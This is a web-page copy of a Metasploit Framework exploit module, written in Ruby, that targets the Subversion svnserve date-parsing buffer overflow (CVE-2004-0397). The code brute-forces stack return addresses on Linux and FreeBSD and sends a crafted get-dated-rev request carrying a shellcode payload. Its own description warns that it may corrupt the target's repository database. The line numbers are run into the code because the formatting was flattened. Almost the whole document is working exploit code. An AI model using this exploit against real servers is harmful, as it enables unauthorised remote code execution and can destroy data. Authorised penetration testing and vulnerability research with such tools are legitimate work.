Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/svn/svnserve_date.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456class MetasploitModule < Msf::Exploit::Remote7Rank = AverageRanking89include Msf::Exploit::Brute10include Msf::Exploit::Remote::Tcp1112def initialize(info = {})13super(update_info(info,14'Name' => 'Subversion Date Svnserve',15'Description' => %q{16This is an exploit for the Subversion date parsing overflow. This17exploit is for the svnserve daemon (svn:// protocol) and will not work18for Subversion over webdav (http[s]://). This exploit should never19crash the daemon, and should be safe to do multi-hits.2021**WARNING** This exploit seems to (not very often, I've only seen22it during testing) corrupt the subversion database, so be careful!23},24'Author' => 'spoonm',25'References' =>26[27['CVE', '2004-0397'],28['OSVDB', '6301'],29['BID', '10386'],30['URL', 'http://lists.netsys.com/pipermail/full-disclosure/2004-May/021737.html']31],32'Payload' =>33{34'Space' => 500,35'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20",36'MinNops' => 16,37},38'SaveRegisters' => [ 'esp' ],39'Arch' => 'x86',40'Platform' => %w{ bsd linux },41'Targets' =>42[43[44'Linux Bruteforce',45{46'Platform' => 'linux',47'Bruteforce' =>48{49'Start' => { 'Ret' => 0xbffffe13 },50'Stop' => { 'Ret' => 0xbfff0000 },51'Step' => 052}53},54],55[56'FreeBSD Bruteforce',57{58'Platform' => 'bsd',59'Bruteforce' =>60{61'Start' => { 'Ret' => 0xbfbffe13 },62'Stop' => { 'Ret' => 0xbfbf0000 },63'Step' => 064}65},66],6768],69'DisclosureDate' => '2004-05-19'))7071register_options(72[73Opt::RPORT(3690),74OptString.new('URL', [ true, "SVN URL (ie svn://host/repos)", "svn://host/svn/repos" ])75])7677register_advanced_options(78[79# 62 on spoonm's, 88 on HD's80OptInt.new('RetLength', [ false, "Length of rets after payload", 100 ]),81OptBool.new('IgnoreErrors', [ false, "Ignore errors", false ])82])83end8485def brute_exploit(addresses)86connect8788print_status("Trying #{"%.8x" % addresses['Ret']}...")8990buffer = ([addresses['Ret']].pack('V') * (datastore['RetLength'] / 4).to_i) + payload.encoded9192[93"( 2 ( edit-pipeline ) " + lengther(datastore['URL']) + " ) ",94"( ANONYMOUS ( 0; ) )",95"( get-dated-rev ( " + lengther(buffer + " 3 Oct 2000 01:01:01.001 (day 277, dst 1, gmt_off)") + " ) ) "96].each_with_index { |buf, index|97trash = sock.get_once9899print_line("Received: #{trash}") if debugging?100101if (sock.put(buf) || 0) == 0 and index < 3102print_error("Error transmitting buffer.")103fail_with(Failure::Unknown, "Failed to transmit data") if !datastore['IgnoreErrors']104end105106if index == 3 and trash.length > 0107print_error("Received data when we shouldn't have")108fail_with(Failure::Unknown, "Received data when it wasn't expected") if !datastore['IgnoreErrors']109end110}111112handler113disconnect114end115116def lengther(buf)117"#{buf.length}:" + buf118end119end120121122